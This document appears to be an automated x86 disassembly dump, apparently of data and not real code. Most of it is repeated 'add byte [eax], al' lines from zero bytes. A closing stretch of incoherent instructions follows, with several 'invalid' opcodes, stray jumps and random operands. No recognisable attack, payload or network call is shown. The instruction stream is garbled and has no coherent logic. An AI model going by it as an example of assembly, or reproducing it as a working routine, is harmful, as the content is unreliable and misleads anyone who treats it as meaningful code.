add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
loope 0x40807e
mov ch, 0x49
or al, 0xc1
and byte [0x7d09f18a], bh
pop ebx
or al, bl
fimul word [edx]
cmp edi, dword [ecx + 0x30445b44]
jecxz 0x40808c
pop ebx
jb 0x408068
pavgw mm4, qword [edx + 0x3b]
xor byte [eax + 0x50], dl
inc esp
mov ecx, 0x7dbe3b50
mov ah, 0xa
mov eax, dword [0xbe79be9b]
wait
inc esp
xor byte [ebp + 0x6b], bh
popfd
insb byte es:[edi], dx
jb 0x40808a
outsb dx, byte [esi]
invalid
inc esp
or dword ds:[eax - 0x5f], edx
dec ebx
std
jb 0x4080cc
jb 0x4080c3
mov ecx, 0xb48e01fd
wait
push eax
outsb dx, byte [esi]
insb byte es:[edi], dx
jge 0x4080c2
bound esi, qword [eax + edx*2 + 0x6b5c8ee3]
wait
pop ebx
or bh, byte [ebx]
daa
cmp esp, dword [edi]
imul esp, dword [edx + 0x5b], 0x72
pushfd
dec ebx
outsb dx, byte [esi]
invalid
xor byte [esi - 0x46939d4c], cl
wait
jb 0x4080d5
invalid
xor bl, ah
outsb dx, byte [esi]
jecxz 0x40813c
mov esi, 0x1b94b5b
mov cs, word [ebx + 9]
insb byte es:[edi], dx
popfd
or cl, byte ds:[edi]
or dword [ebp + ebx*4 + 0x3e], ebp
or cl, byte [edi]
mov ecx, 0x6ce3b46b
pop esp
xor byte [ebx - 0x46bb94bc], bl
mov eax, dword [0xa9d5b72]
jecxz 0x4080f7
xor byte [edi], ah
faddp st(3)
dec ebx
jge 0x4080f2
wait
mov ah, 0x62
mov ds, word [esp + eax*2 - 3]
pop esp
bound ecx, qword [esi + 0x5cfd445c]
mov esi, 0xdedeb901
jns 0x408160
cmp esi, dword [eax]
pop ebx
pushfd
mov esi, 0xc3dea109
fidivr word [ecx - 0x64]
pushfd
xor byte [ecx + 0x79], bh
pop esp
xor byte [esp + ebx*4 + 0x5b8e3e9c], bl
or bh, byte [esi]
push eax
insb byte es:[edi], dx
push eax
fisubr word [esi + 0x44]
pushfd
popfd
jns 0x408184
cmp esi, dword [eax]
or bl, byte [ebx - 0x3d]
popfd
pop fs
add dword [eax], esi
mov esi, 0x443e506c
outsb dx, byte [esi]
std
ret
push eax
outsb dx, byte [esi]
jb 0x408190
xor byte [esi - 0x4bf04ba5], cl
jns 0x4081b4
insb byte es:[edi], dx
mov ecx, 0xa62307d
ret
outsb dx, byte [esi]
ret
xor byte [edi], ah
xor byte [edi], ah
xor byte [ecx + 0x50], bh
jecxz 0x40820a
std
jb 0x40811f
mov ss, word [eax + 0x3b]
pop ebx
or ch, byte [esi + 9]
jns 0x4081c9
push eax
cmp ebx, dword [ebx + 0xa]
outsb dx, byte [esi]
or dword [ecx + 0x30], edi
imul ebx, dword [ebx + 0x3b], 0x6e
dec ebx
dec ebx
popfd
outsb dx, byte [esi]
or dword [eax + 0x6e], edx
pop fs
insb byte es:[edi], dx
xor byte [ecx], al
push eax
popfd
fisubr word ds:[ebx - 0x64]
daa
dec ebx
jecxz 0x4081ef
invalid
jecxz 0x4081d5
cmp eax, dword [esi + edi*4 + 0x6e]
mov ecx, 0xa1a14b9c
invalid
ret
ret
mov esi, 0x8e5b0a9c
add dword [edi - 0x648dd894], ebx
xor byte ds:[edi], ah
mov ah, 0x72
invalid